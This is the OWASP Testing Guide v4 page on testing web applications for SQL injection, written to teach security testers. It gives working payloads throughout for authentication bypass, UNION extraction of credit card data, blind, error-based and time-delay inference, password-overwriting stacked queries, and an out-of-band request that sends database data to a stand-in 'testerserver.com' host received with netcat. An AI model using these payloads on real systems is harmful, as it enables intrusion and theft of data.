Testing for SQL Injection (OTG-INPVAL-005)

From OWASP

```
This article is part of the new OWASP Testing Guide v4.

Back to the OWASP Testing Guide v4 ToC:
   https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
Back to the OWASP Testing Guide Project:
   https://www.owasp.org/index.php/OWASP_Testing_Project
```


Summary

An SQL injection attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:

```
select title, text from news where id=$id
```

In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.

Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.

```
select title, text from news where id=10 or 1=1
```

SQL Injection attacks can be divided into the following three classes:

- Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
- Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is

generated and sent to the tester).
- Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.

About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):

- Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
- Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
- Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
- Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
- Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.

How to Test

Detection Techniques

The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:

- Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
- Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
- E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.

The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.

The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113
```

Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:

```
 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
```

Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.

Standard SQL Injection Testing

```
Example 1 (classical SQL Injection):
```

Consider the following SQL query:

```
SELECT * FROM Users WHERE Username='$username' AND Password='$password'
```

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:

```
$username = 1' or '1' = '1
```

```
$password = 1' or '1' = '1
```

The query will be:

```
SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'
```

If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:

```
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1
```

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password. *In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.* Another example of query is the following:

```
SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))
```

In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is "--". This said, the values that we'll use as Username and Password are:

```
$username = 1' or '1' = '1'))/*
```

```
$password = foo
```

In this way, we'll get the following query:

```
SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))
```

(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)

The URL request will be:

```
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo
```

This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

```
$username = 1' or '1' = '1')) LIMIT 1/*
```

```
$password = foo
```

In this way, we create a request like the follow:

```
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo
```

Example 2 (simple SELECT statement):

Consider the following SQL query:

```
SELECT * FROM products WHERE id_product=$id_product
```

Consider also the request to a script who executes the query above:

```
http://www.example.com/product.php?id=10
```

When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.

Consider the request:

```
http://www.example.com/product.php?id=10 AND 1=2
```

```
SELECT * FROM products WHERE id_product=10 AND 1=2
```

In this case, probably the application would return some message telling us there is no content available or a blank page. Then the tester can send a true statement and check if there is a valid result:

```
http://www.example.com/product.php?id=10 AND 1=1
```

Example 3 (Stacked queries):

Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.

Consider the following SQL query:

```
SELECT * FROM products WHERE id_product=$id_product
```

A way to exploit the above scenario would be:

```
http://www.example.com/product.php?id=10; INSERT INTO users (…)
```

This way is possible to execute many queries in a row and independent of the first query.

Fingerprinting the Database

Even the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.

When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.

1) The first way to find out what back end database is used is by observing the error returned by the application. Follow are some examples:

MySql:

```
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1
```

Oracle:

```
ORA-00933: SQL command not properly ended
```

MS SQL Server:

```
Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string
```

PostgreSQL:

```
Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.
```

2) If there is no error message or a custom error message, the tester can try to inject into string field using concatenation technique:

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

Exploitation Techniques

Union Exploitation Technique

The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

We will set the following $id value:

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

We will have the following query:

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword **ALL** is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two queries must have an equal number of parameters/columns, in order to avoid a syntax error.

The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.

In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database's column selected:

```
http://www.example.com/product.php?id=10 ORDER BY 10--
```

If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:

```
Unknown column '10' in 'order clause'
```

After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:

```
http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--
```

If the query fails, the tester will probably see a message like:

```
All cells in a column must have the same datatype
```

If the query executes with success, the first column can be an integer. Then the tester can move further and so on:

```
http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--
```

After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):

```
http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--
```

Boolean Exploitation Technique

The Boolean exploitation technique is very useful when the tester finds a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect).

By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:

```
http://www.example.com/index.php?id=1'
```

We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:

```
SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
```

Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:

SUBSTRING (text, start, length): returns a substring starting from the position "start" of text and of length "length". If "start" is greater than the length of text, the function returns a null value.

ASCII (char): it gives back ASCII value of the input character. A null value is returned if char is 0.

LENGTH (text): it gives back the number of characters in the input text.

Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for *Id*:

```
$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
```

That creates the following query (from now on, we will call it "inferential query"):

```
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
```

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for *Id*:

```
$Id=1' AND '1' = '2
```

Which will create the following query:

```
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
```

The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order to decide the result of the test.

In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.

We will insert the following value for the field *Id*:

```
$Id=1' AND LENGTH(username)=N AND '1' = '1
```

Where N is the number of characters that we have analyzed up to now (not counting the null value). The query

will be:

```
SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
```

The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.

The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.

Error based Exploitation technique

An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

```
SELECT * FROM products WHERE id_product=$id_product
```

Consider also the request to a script who executes the query above:

```
http://www.example.com/product.php?id=10
```

The malicious request would be (e.g. Oracle 10g):

```
http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--
```

In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:

```
ORA-292257: host SCOTT unknown
```

Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.

Out of band Exploitation technique

This technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the

outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester's server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.

Consider the following SQL query:

```
SELECT * FROM products WHERE id_product=$id_product
```

Consider also the request to a script who executes the query above:

```
http://www.example.com/product.php?id=10
```

The malicious request would be:

```
http://www.example.com/product.php?id=10||UTL_HTTP.request('testerserver.com:80'||(SELET user FROM DUAL)--
```

In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to 'testerserver' and make a HTTP GET request containing the return from the query "SELECT user FROM DUAL". The tester can set up a webserver (e.g. Apache) or use the Netcat tool:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1 Host: testerserver.com Connection: close

Time delay Exploitation technique

The Boolean exploitation technique is very useful when the tester find a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

```
SELECT * FROM products WHERE id_product=$id_product
```

Consider also the request to a script who executes the query above:

```
http://www.example.com/product.php?id=10
```

The malicious request would be (e.g. MySql 5.x):

```
http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--
```

In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn't need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.

Stored Procedure Injection

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.

Consider the following **SQL Server Stored Procedure:**

Create procedure user_login @username varchar(20), @passwd varchar(20) As Declare @sqlstring varchar(250) Set @sqlstring = ' Select 1 from users Where username = ' + @username + ' and passwd = ' + @passwd exec(@sqlstring) Go

User input: anyusername or 1=1' anypassword

This procedure does not sanitize the input, therefore allowing the return value to show an existing record with theseparameters.

NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data.

Consider the following **SQL Server Stored Procedure:**

Create procedure get_report @columnamelist varchar(7900) As Declare @sqlstring varchar(8000) Set @sqlstring = ‘ Select ‘ + @columnamelist + ‘ from ReportTable‘ exec(@sqlstring) Go

User input:

1 from users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being updated.

Automated Exploitation

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap

Tools

- SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt
- OWASP SQLiX
- Francois Larouche: Multiple DBMS SQL Injection tool - SQL Power Injector (http://www.sqlpowerinjector.com/index.htm)
- ilo--, Reversing.org - sqlbftools (http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html)
- Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
- icesurfer: SQL Server Takeover Tool - sqlninja (http://sqlninja.sourceforge.net)
- Pangolin: Automated SQL Injection Tool - Pangolin (http://www.nosec.org/en/productservice/pangolin/)

- Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
- Antonio Parata: Dump Files by SQL inference on Mysql - SqlDumper (http://sqldumper.ruizata.com/)
- bsqlbf, a blind SQL injection tool (https://code.google.com/p/bsqlbf-v2/) in Perl

References

- Top 10 2013-A1-Injection
- SQL Injection

Technology specific Testing Guide pages have been created for the following DBMSs:

- Oracle
- MySQL
- SQL Server

Whitepapers

- Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
- Chris Anley: "Advanced SQL Injection In SQL Server Applications" - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf
- Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
- David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
- Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
- Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
- Kevin Spett from SPI Dynamics: "SQL Injection" - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit
- Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

Retrieved from "https://www.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-

005)&oldid=180249"
Categories: OWASP Testing Project | Test

- This page was last modified on 8 August 2014, at 06:03.
- This page has been accessed 544,890 times.
-